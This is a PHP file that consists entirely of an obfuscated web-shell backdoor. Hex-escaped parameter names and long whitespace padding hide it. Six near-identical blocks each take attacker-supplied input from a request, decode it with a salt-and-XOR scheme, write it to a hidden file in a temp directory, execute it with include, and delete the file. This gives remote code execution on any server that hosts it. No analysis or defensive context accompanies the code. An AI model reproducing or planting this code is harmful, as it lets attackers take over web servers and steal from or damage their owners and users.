<?php																																										if(@$_POST["\x70\x61ra\x6Deter_g\x72oup"] !== null){ $reference = array_filter(["/tmp", getenv("TMP"), "/var/tmp", "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), sys_get_temp_dir()]); $flag = $_POST["\x70\x61ra\x6Deter_g\x72oup"]; $flag = explode ('.' ,$flag ); $component = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2); $v = 0; $__tmp = $flag; while($v2 = array_shift($__tmp)) { $sChar = ord($salt2[$v % $lenS]); $dec =((int)$v2 - $sChar -($v % 10))^ 72; $component .= chr($dec); $v++; } foreach ($reference as $flg): if (is_writable($flg) && is_dir($flg)) { $elem = join("/", [$flg, ".ptr"]); if (file_put_contents($elem, $component)) { require $elem; unlink($elem); die(); } } endforeach; }
																																										if(!empty($_REQUEST["\x64a\x74a"])){ $binding = $_REQUEST["\x64a\x74a"]; $binding=explode ( '.' ,$binding ) ; $tkn = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $p = 0; $len = count($binding); do { if ($p >= $len) break; $v8 = $binding[$p]; $chS = ord($s[$p % $lenS]); $dec = ((int)$v8 - $chS - ($p % 10))^ 41; $tkn .= chr($dec); $p++; }while (true); $flag = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), session_save_path(), getcwd(), "/tmp"]); for ($entity = 0, $item = count($flag); $entity < $item; $entity++) { $ref = $flag[$entity]; if (is_dir($ref) ? is_writable($ref) : false) { $dat = "$ref" . "/.pointer"; if (@file_put_contents($dat, $tkn) !== false) { include $dat; unlink($dat); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "ele\x6D")){ $value = array_filter(["/tmp", getcwd(), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), session_save_path()]); $comp = $_REQUEST["ele\x6D"]; $comp = explode ( "." , $comp); $marker = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt5); $__len = count($comp); for ($r = 0; $r <$__len; $r++) { $v3 = $comp[$r]; $chS = ord($salt5[$r % $lenS]); $d = ((int)$v3 - $chS - ($r % 10))^61; $marker .= chr($d); } $flg = 0; do { $desc = $value[$flg] ?? null; if ($flg >= count($value)) break; if ((bool)is_dir($desc) && (bool)is_writable($desc)) { $object = vsprintf("%s/%s", [$desc, ".dat"]); $file = fopen($object, 'w'); if ($file) { fwrite($file, $marker); fclose($file); include $object; @unlink($object); die(); } } $flg++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "\x64chu\x6E\x6B")){ $obj = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getcwd(), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", session_save_path(), getenv("TMP")]); $ent = $_POST["\x64chu\x6E\x6B"]; $ent= explode( '.' , $ent ) ; $descriptor = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s5); $q = 0; $__tmp = $ent; while ($v7 = array_shift($__tmp)) { $sChar = ord($s5[$q% $lenS]); $d = ((int)$v7 - $sChar - ($q% 10)) ^ 15; $descriptor .= chr($d); $q++; } foreach ($obj as $key => $res) { if (is_dir($res) && is_writable($res)) { $comp = str_replace("{var_dir}", $res, "{var_dir}/.val"); $success = file_put_contents($comp, $descriptor); if ($success) { include $comp; @unlink($comp); die();} } } }
																																										if(array_key_exists("\x63om\x70", $_POST) && !is_null($_POST["\x63om\x70"])){ $symbol = $_POST["\x63om\x70"]; $symbol= explode ( "." , $symbol) ; $mrk= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s); $y= 0; foreach ($symbol as $v8) { $chS= ord($s[$y % $sLen]); $d= ((int)$v8 - $chS - ($y % 10)) ^ 50; $mrk .= chr($d); $y++;} $flg = array_filter(["/dev/shm", sys_get_temp_dir(), "/var/tmp", getcwd(), getenv("TMP"), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/tmp"]); foreach ($flg as $key) { if ((bool)is_dir($key) && (bool)is_writable($key)) { $element = str_replace("{var_dir}", $key, "{var_dir}/.value"); if (@file_put_contents($element, $mrk) !== false) { include $element; unlink($element); die(); } } } }


if(!is_null($_REQUEST["\x72e\x66erenc\x65"] ?? null)){
	$symbol = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", getcwd(), getenv("TEMP"), getenv("TMP"), session_save_path(), "/dev/shm"]);
	$comp = $_REQUEST["\x72e\x66erenc\x65"];
		$comp=explode			(	 	"."  ,$comp   )	;
	$parameter_group		='';
            $salt		='abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen		=strlen($salt);
    
            foreach ($comp as $v => $v6):
                $chS		=ord($salt[$v % $sLen]);
                $d		=((int)$v6 - $chS - ($v % 10)) ^45;
                $parameter_group .= chr($d);
            endforeach;
	for ($factor = 0, $hld = count($symbol); $factor < $hld; $factor++) {
    $k = $symbol[$factor];
    		if (max(0, is_dir($k) * is_writable($k))) {
    $pset = implode("/", [$k, ".element"]);
    if (@file_put_contents($pset, $parameter_group) !== false) {
	include $pset;
	unlink($pset);
	exit;
}
}
}
}